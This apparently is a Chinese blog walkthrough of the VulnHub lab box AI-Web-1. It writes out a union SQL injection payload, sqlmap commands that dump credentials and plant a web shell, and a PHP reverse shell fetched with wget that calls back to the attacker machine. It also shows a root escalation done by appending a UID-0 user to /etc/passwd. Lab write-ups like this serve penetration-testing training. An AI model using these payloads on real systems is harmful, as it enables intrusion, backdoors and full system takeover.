标签:SQL注入、sqlmap写shell、反弹shell、写入passwd提权
0x00 环境准备
下载地址:https://www.vulnhub.com/entry/ai-web-1,353/
flag数量:1
攻击机:kali
攻击机地址:192.168.5.3
靶机描述:
Difficulty: Intermediate
Network: DHCP (Automatically assign)
Network Mode: NAT
This box is designed to test skills of penetration tester. The goal is simple. Get flag from /root/flag.txt. Enumerate the box, get low privileged shell and then escalate privilege to root. For any hint please tweet on @arif_xpress
0x01 信息搜集
1.探测靶机地址
命令:arp-scan -l
![](https://img.haomeiwen.com/i9221879/5477e80b86626dba.png)
靶机地址是192.168.5.5
2.探测靶机开放端口
命令:nmap -sV -p- 192.168.5.5
![](https://img.haomeiwen.com/i9221879/6c1a62d7ae1b36f2.png)
只开放了80端口,看一下
![](https://img.haomeiwen.com/i9221879/0f3e744977782f0a.png)
啥也没有,扫描一下目录吧
3.目录扫描
命令:dirb http://192.168.5.5 -X .php,.html,.txt
![](https://img.haomeiwen.com/i9221879/cfb9a306566c330a.png)
使用默认字典扫描出两个页面,看看robots.txt页面
![](https://img.haomeiwen.com/i9221879/87b24a8608e39e86.png)
0x02 SQL注入
在robots.txt中发现了两个目录,分别是http://192.168.5.5/m3diNf0/
和http://192.168.5.5/se3reTdir777/uploads/
。但是访问这两个路径都是403,试试访问http://192.168.5.5/se3reTdir777/
![](https://img.haomeiwen.com/i9221879/f275e5dc74cc0c91.png)
是个查询页面,应该有sql注入,fuzz一下
![](https://img.haomeiwen.com/i9221879/7108cca04ea49b76.png)
果然有sql注入,经过测试,这是一个单引号闭合的显错注入,3个字段,注释要用#不能用--+。
数据库:uid=1.1' union select 1,2,database() #
![](https://img.haomeiwen.com/i9221879/7c6198b89f76794c.png)
为了方便,下面用sqlmap进行注入
数据表:sqlmap -u http://192.168.5.5/se3reTdir777/ --data "uid=1&Operation=Submit" --batch -v 3 --level 3 -D aiweb1 --tables
![](https://img.haomeiwen.com/i9221879/6648d6f43f12091f.png)
有两个数据表,user表:sqlmap -u http://192.168.5.5/se3reTdir777/ --data "uid=1&Operation=Submit" --batch -v 3 --level 3 -D aiweb1 -T user --columns
![](https://img.haomeiwen.com/i9221879/2e252ad2ff08a7f4.png)
显然不是我们想要的数据。再看一下systemUser表
systemUser表:sqlmap -u http://192.168.5.5/se3reTdir777/ --data "uid=1&Operation=Submit" --batch -v 3 --level 3 -D aiweb1 -T systemUser --dump
![](https://img.haomeiwen.com/i9221879/d5d589914fc1c940.png)
这里有三组账号密码,看样子密码应该是base64加密,解密一下。
解密后的账号分别是:
t00r \ FakeUserPassw0rd
aiweb1pwn \ MyEvilPass_f908sdaf9_sadfasf0sa
u3er \ N0tThis0neAls0
0x03 sqlmap写shell
拿到了账号密码,但是并没有登录页面。看了一下表哥的文章,表哥又扫描了目录。那就再把上面的目录扫描一下,看看有没有子目录。
分别扫描:http://192.168.5.5/m3diNf0/
、http://192.168.5.5/se3reTdir777/uploads/
和http://192.168.5.5/se3reTdir777/
子目录。
在http://192.168.5.5/m3diNf0/
目录下发现了info.php文件
![](https://img.haomeiwen.com/i9221879/914a4fc95e1e7c8d.png)
访问看一下
![](https://img.haomeiwen.com/i9221879/64092652cbf48287.png)
是phpinfo页面,在这个页面上有绝对路径,如果路径有写权限的话,可以使用sqlmap写一个shell进去。
![](https://img.haomeiwen.com/i9221879/7a9560f088edef25.png)
这里可以看到,网站的根目录是/home/www/html/web1x443290o2sdf92213
。刚才在robots.txt文件中看到了http://192.168.5.5/se3reTdir777/uploads/
目录,uploads目录虽然不能访问,但是一般都具有写权限,尝试把shell写入到uploads目录下,uploads的绝对路径是/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
。
开始写入,命令:sqlmap -u http://192.168.5.5/se3reTdir777/ --data "uid=1&Operation=Submit" --os-shell
![](https://img.haomeiwen.com/i9221879/f74dcdd6724605d4.png)
写入成功
![](https://img.haomeiwen.com/i9221879/4600821059a5af64.png)
0x04 反弹shell
写入shell成功了,但是用着不太方便,再反弹一个shell吧。这里通过在靶机中wget一个php后门来反弹shell。
①首先制作一个php后门文件
![](https://img.haomeiwen.com/i9221879/55fb5b8339c5700b.png)
代码:
<?php
$sock=fsockopen("192.168.5.3",4444);
exec("/bin/bash -i <&3 >&3 2>&3");
?>
②在kali上运行临时服务器服务,命令:python -m SimpleHTTPServer 8000
![](https://img.haomeiwen.com/i9221879/81f6a2c3a98a19c0.png)
③在靶机上下载文件,命令:wget http://192.168.5.3:8000/web1.php
![](https://img.haomeiwen.com/i9221879/55c636d01eb95a8c.png)
④在kali上监听4444端口,命令:nc -lvp 4444
![](https://img.haomeiwen.com/i9221879/86e94414cdd8fd92.png)
⑤运行靶机上的web1.php
![](https://img.haomeiwen.com/i9221879/7df5b0a7204b37b2.png)
kali上已经接收到反弹的shell了
![](https://img.haomeiwen.com/i9221879/94a43b9742b79d73.png)
0x05 提权
反弹shell后,whoami
查询当前身份,是www-data
查询/etc/passwd
文件属性,发现拥有者是www-data,并且拥有读写权限
![](https://img.haomeiwen.com/i9221879/90c3052c4a1b7686.png)
可以通过向/etc/passwd
文件中添加用户来提权:
①使用kali的openssl工具加密密码,比如我想创建一个用户名是dn的用户,密码是111111。命令就是:openssl passwd -1 -salt dn 111111
![](https://img.haomeiwen.com/i9221879/f35c10ee6e3d9b31.png)
②将刚才生成的密码进行整理,生成/etc/passwd文件格式的字符串:dn:$1$dn$af67d2P6bAKTKU2Y5vwMV0:0:0::/root:/bin/bash
第一个冒号之前是用户名,第一个冒号之后就是刚才生成的密码,其余的照写就好了。
③在靶机上将上面这段字符串追加到/etc/passwd文件里面,命令:echo 'dn:$1$dn$af67d2P6bAKTKU2Y5vwMV0:0:0::/root:/bin/bash' >> /etc/passwd
![](https://img.haomeiwen.com/i9221879/6090d2d7fc801101.png)
注意这里一定要用单引号,因为字符中有$符号,如果使用双引号会导致$被当做变量去解析。我在这弄了半天。
④然后在靶机上使用python弹一个交互式shell,我用python2报错,就用python3了,命令:python3 -c "import pty;pty.spawn('/bin/bash')"
![](https://img.haomeiwen.com/i9221879/e0a8fb31216119e1.png)
⑤输入su dn
,输入密码
![](https://img.haomeiwen.com/i9221879/1b5dee4b49fd309d.png)
flag在/root下,切换到/root目录拿到flag
![](https://img.haomeiwen.com/i9221879/f6730162a5230c54.png)
0x06 小结
该靶机相对比较简单,从目录扫描开始,发现注入点,然后再次目录扫描发现phpinfo文件,使用sqlmap+phpinfo写shell,getshell之后反弹shell,提权也非常简单,就是向/etc/passwd文件中追加root用户即可。只是sql注入查到的3组用户名密码并没有什么用。
由于我不会每天都登录简书,所以有什么私信或者评论我都不能及时回复,如果想要联系我最好给我发邮件,邮箱:Z2djMjUxMTBAMTYzLmNvbQ==,如果发邮件请备注“简书”
参考链接
1.vulnhub靶机AI-WEB-1.0渗透测试
2.vulnhub之AI-web1
3.使用sqlmap曲折渗透某服务器
网友评论